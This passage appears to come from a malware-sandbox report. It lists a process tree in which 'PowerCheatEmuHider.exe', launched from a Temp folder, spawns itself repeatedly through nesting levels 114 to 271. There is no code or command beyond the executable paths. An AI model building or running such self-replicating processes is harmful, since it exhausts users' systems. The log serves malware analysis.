        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        114⤵
        
        PID:6340
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        115⤵
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        116⤵
        
        PID:2968
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        117⤵
        
        PID:6772
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        118⤵
        
        PID:6964
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        119⤵
        
        PID:6248
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        120⤵
        
        PID:3500
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        121⤵
        
        PID:2228
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        122⤵
        
        PID:5940
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        123⤵
        
        PID:6732
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        124⤵
        
        PID:968
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        125⤵
        
        PID:7116
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        126⤵
        
        PID:5956
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        127⤵
        
        PID:4380
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        128⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        129⤵
        
        PID:5928
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        130⤵
        
        PID:2912
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        131⤵
        
        PID:2888
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        132⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        133⤵
        
        PID:6628
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        134⤵
        
        PID:7112
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        135⤵
        
        PID:4056
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        136⤵
        
        PID:6856
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        137⤵
        
        PID:6300
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        138⤵
        
        PID:5252
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        139⤵
        
        PID:900
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        140⤵
        
        PID:6180
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        141⤵
        
        PID:5916
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        142⤵
        
        PID:5624
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        143⤵
        
        PID:6180
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        144⤵
        
        PID:6832
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        145⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        146⤵
        
        PID:5252
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        147⤵
        
        PID:6996
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        148⤵
        
        PID:5232
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        149⤵
        
        PID:6204
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        150⤵
        
        PID:2968
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        151⤵
        
        PID:1076
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        152⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        153⤵
        
        PID:5112
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        154⤵
        
        PID:4896
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        155⤵
        
        PID:6300
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        156⤵
        
        PID:4912
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        157⤵
        
        PID:760
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        158⤵
        
        PID:5288
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        159⤵
        
        PID:6444
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        160⤵
        
        PID:4380
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        161⤵
        
        PID:6616
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        162⤵
        
        PID:4688
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        163⤵
        
        PID:4896
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        164⤵
        
        PID:6988
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        165⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        166⤵
        
        PID:6444
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        167⤵
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        168⤵
        
        PID:4024
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        169⤵
        
        PID:4912
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        170⤵
        
        PID:4688
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        171⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        172⤵
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        173⤵
        
        PID:6680
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        174⤵
        
        PID:2968
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        175⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        176⤵
        
        PID:5884
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        177⤵
        
        PID:3548
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        178⤵
        
        PID:6476
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        179⤵
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        180⤵
        
        PID:6596
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        181⤵
        
        PID:6324
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        182⤵
        
        PID:7092
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        183⤵
        
        PID:6824
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        184⤵
        
        PID:4688
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        185⤵
        
        PID:2228
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        186⤵
        
        PID:7056
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        187⤵
        
        PID:6540
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        188⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        189⤵
        
        PID:6864
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        190⤵
        
        PID:4868
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        191⤵
        
        PID:7136
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        192⤵
        
        PID:3832
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        193⤵
        
        PID:6316
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        194⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        195⤵
        
        PID:4688
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        196⤵
        
        PID:5632
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        197⤵
        
        PID:720
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        198⤵
        
        PID:1048
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        199⤵
        
        PID:1020
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        200⤵
        
        PID:6160
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        201⤵
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        202⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        203⤵
        
        PID:6964
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        204⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        205⤵
        
        PID:7152
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        206⤵
        
        PID:6208
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        207⤵
        
        PID:5680
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        208⤵
        
        PID:5960
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        209⤵
        
        PID:6932
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        210⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        211⤵
        
        PID:4832
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        212⤵
        
        PID:7104
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        213⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        214⤵
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        215⤵
        
        PID:6964
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        216⤵
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        217⤵
        
        PID:6864
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        218⤵
        
        PID:3328
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        219⤵
        
        PID:2240
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        220⤵
        
        PID:6848
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        221⤵
        
        PID:6180
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        222⤵
        
        PID:6540
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        223⤵
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        224⤵
        
        PID:5180
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        225⤵
        
        PID:6484
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        226⤵
        
        PID:1628
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        227⤵
        
        PID:4172
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        228⤵
        
        PID:6752
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        229⤵
        
        PID:6820
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        230⤵
        
        PID:6664
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        231⤵
        
        PID:5680
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        232⤵
        
        PID:6632
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        233⤵
        
        PID:6676
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        234⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        235⤵
        
        PID:6300
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        236⤵
        
        PID:6752
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        237⤵
        
        PID:6852
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        238⤵
        
        PID:7104
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        239⤵
        
        PID:6612
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        240⤵
        
        PID:6544
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        241⤵
        
        PID:3468
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        242⤵
        
        PID:4084
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        243⤵
        
        PID:6868
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        244⤵
        
        PID:1628
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        245⤵
        
        PID:2240
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        246⤵
        
        PID:4696
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        247⤵
        
        PID:4836
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        248⤵
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        249⤵
        
        PID:6020
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        250⤵
        
        PID:5680
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        251⤵
        
        PID:6632
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        252⤵
        
        PID:736
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        253⤵
        
        PID:6292
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        254⤵
        
        PID:860
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        255⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        256⤵
        
        PID:7120
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        257⤵
        
        PID:7068
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        258⤵
        
        PID:7024
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        259⤵
        
        PID:6888
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        260⤵
        
        PID:2072
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        261⤵
        
        PID:4868
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        262⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        263⤵
        
        PID:7040
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        264⤵
        
        PID:5624
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        265⤵
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        266⤵
        
        PID:5156
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        267⤵
        
        PID:5180
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        268⤵
        
        PID:5996
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        269⤵
        
        PID:1064
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        270⤵
        
        PID:3940
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        271⤵
        
        PID:3836
